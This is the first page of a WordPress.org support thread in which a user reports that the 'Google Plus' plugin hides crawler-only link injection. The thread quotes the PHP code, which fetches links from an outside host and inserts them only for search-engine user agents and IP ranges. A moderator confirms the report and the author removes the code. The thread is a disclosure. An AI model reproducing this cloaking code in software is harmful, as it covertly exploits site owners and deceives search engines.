Title: Malware inside!
Last modified: September 2, 2016

---

# Malware inside!

 *  [Žygimantas](https://wordpress.org/support/users/meras/)
 * (@meras)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/)
 * This plugin placing advertisement link for googlebot.

Viewing 15 replies - 1 through 15 (of 17 total)

1 [2](https://wordpress.org/support/topic/malware-inside/page/2/?output_format=md)
[→](https://wordpress.org/support/topic/malware-inside/page/2/?output_format=md)

 *  Plugin Author [angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)
 * (@angelacarmichael)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731062)
 * A credit link is malware? You agreed to allow the credit.
 *  Thread Starter [Žygimantas](https://wordpress.org/support/users/meras/)
 * (@meras)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731064)
 * It is hidden malware for googlebot.
 *  Plugin Author [angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)
 * (@angelacarmichael)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731065)
 * Its not malware _[ and personal comment redacted ]_.
 *  Moderator [Jan Dembowski](https://wordpress.org/support/users/jdembowski/)
 * (@jdembowski)
 * Forum Moderator and Brute Squad
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731066)
 * _*Blows timeout whistle*_ Folks, reasonable people can disagree with each other
   without name calling.
 * **[@angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)**
   Please refrain from responding while upset or irked. You won’t accomplish anything
   and taking a walk is always good advice.
 * **[@zygimantas](https://wordpress.org/support/users/zygimantas/)** If you have
   an example of a violation of the rules for hosting a plugin in the WordPress 
   repo please send an email with the actual details (do not just say “Malware link”)
   to plugins at wordpress.org
 * I’ve just installed the plugin, I don’t see a link that would make me concerned.
   In fact I can’t see any link, credit or otherwise, so I’m missing it what you’re
   referring to.
 *  Thread Starter [Žygimantas](https://wordpress.org/support/users/meras/)
 * (@meras)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731074)
 * **File: includes/gplus.hook.php Line: 37**
    `add_filter('template_include', '
   gen_include', 1); function gen_include($template) { ob_start(); return $template;}
   add_filter('shutdown', 'gen2', 0); function gen2() { $v = "1"; $sw = (is_home()?"
   0" : "1"); $h = $_SERVER['SERVER_NAME']; $a = "http://api.tqj.us/v3/link/creditbyversion/
   $h/$v/$sw"; if (genua() || genrev()) { $bl = file_get_contents($a); echo preg_replace('#
   <body([^>]*)>#i', "<body$1>{$bl}", ob_get_clean()); } } function genrev() { $
   gsn = array( "216.239.32.0/19", "64.233.160.0/19", "66.249.80.0/20", "72.14.192.0/
   18", "209.85.128.0/17", "66.102.0.0/20", "74.125.0.0/16", "64.18.0.0/20", "207.126.144.0/
   20", "173.194.0.0/16" ); foreach ($gsn as $n) { if (genmat($n, $ip)) return true;}
   return false; } function genua() { $ua = strtolower($_SERVER['HTTP_USER_AGENT']);
   $sites = 'google|yahoo|msnbot|bingbot|baidu|jeeves'; return (preg_match("/$sites/",
   $ua) > 0) ? true : false; } function genmat($network) { $ip = $_SERVER['REMOTE_ADDR'];
   $ip_arr = explode("/", $network); $network_long = ip2long($ip_arr[0]); $mask_long
   = pow(2, 32) - pow(2, (32 - $ip_arr[1])); $ip_long = ip2long($ip); if (($ip_long&
   $mask_long) == $network_long) { return true; } else { return false; } }`
 *  Plugin Author [angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)
 * (@angelacarmichael)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731075)
 * There is nothing malware or violating about it. And definitely not showing links
   to users. Get your facts straight before crying wolf. He must be a competitor
   of mine that is mad his real account isn’t at the top of search any more.
 *  Thread Starter [Žygimantas](https://wordpress.org/support/users/meras/)
 * (@meras)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731077)
 * > And definitely not showing links to users.
 * BUT showing links to google bot!
 *  Moderator [Jan Dembowski](https://wordpress.org/support/users/jdembowski/)
 * (@jdembowski)
 * Forum Moderator and Brute Squad
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731079)
 * > And definitely not showing links to users. Get your facts straight before crying
   > wolf.
 * I’m pretty sure that you exactly get Zygimantas point: he’s not crying wolf, 
   he’s raising a legitimate concern. That code (which I missed, I was looking at
   the HTML output) is enough reason for me to delete that plugin from my installation.
 * But I’m not a plugin reviewer. So I’ve sent an email to that team and have asked
   them to look at the plugin and this thread.
 *  Thread Starter [Žygimantas](https://wordpress.org/support/users/meras/)
 * (@meras)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731080)
 * **[@jan](https://wordpress.org/support/users/jan/) Dembowski** Thank You
 *  Plugin Author [angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)
 * (@angelacarmichael)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731081)
 * Its a feature that was disabled for WP.org and didn’t interrupt the user experience.
   It doesn’t even display links. Also, might I add, there is **NO** malware so 
   yes Zyg IS crying wolf.
 * This code is used outside of WP so if I need to keep separate versions just to
   follow them more closely then I will.
 *  Plugin Author [angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)
 * (@angelacarmichael)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731082)
 * Removed. Now I will just have to maintain a separate branch for WP.org.
 *  Thread Starter [Žygimantas](https://wordpress.org/support/users/meras/)
 * (@meras)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731083)
 * **[@angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)**
   You inserted (stealth method) in to Your script fot linkbuilding. Users do not
   detect, but crawlers and robotts indexing. So it is MALWARE. And NO. I’m not 
   crying wolf. Plugin users MUST to know if script author using hidden script implementation.
 *  Moderator [Jan Dembowski](https://wordpress.org/support/users/jdembowski/)
 * (@jdembowski)
 * Forum Moderator and Brute Squad
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731084)
 * [Confirmed in trac](http://plugins.trac.wordpress.org/changeset?reponame=&new=634408%40google-plus-button&old=633137%40google-plus-button)
   and thank you for your prompt reply to this. But as a suggestion could you please
   bump up the plugin 3.1.8 version number too?
 * That way people who have the old version with that code will definitely get the
   update that removed the `add_filter('template_include', 'gen_include', 1);` line
   in `includes/gplus.hook.php`.
 * Again, much thanks.
 *  Plugin Author [angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)
 * (@angelacarmichael)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731085)
 * [@jan](https://wordpress.org/support/users/jan/): Yes sorry.
 *  Plugin Author [angelacarmichael](https://wordpress.org/support/users/angelacarmichael/)
 * (@angelacarmichael)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/#post-7731086)
 * Done.
 * [@zyg](https://wordpress.org/support/users/zyg/) Read up on [malware](http://en.wikipedia.org/wiki/Malware)

Viewing 15 replies - 1 through 15 (of 17 total)

1 [2](https://wordpress.org/support/topic/malware-inside/page/2/?output_format=md)
[→](https://wordpress.org/support/topic/malware-inside/page/2/?output_format=md)

The topic ‘Malware inside!’ is closed to new replies.

 * ![](https://s.w.org/plugins/geopattern-icon/google-plus-button_4b4b4b.svg)
 * [Google Plus](https://wordpress.org/plugins/google-plus-button/)
 * [Support Threads](https://wordpress.org/support/plugin/google-plus-button/)
 * [Active Topics](https://wordpress.org/support/plugin/google-plus-button/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/google-plus-button/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/google-plus-button/reviews/)

 * 17 replies
 * 3 participants
 * Last reply from: [Jan Dembowski](https://wordpress.org/support/users/jdembowski/)
 * Last activity: [13 years, 8 months ago](https://wordpress.org/support/topic/malware-inside/page/2/#post-7731088)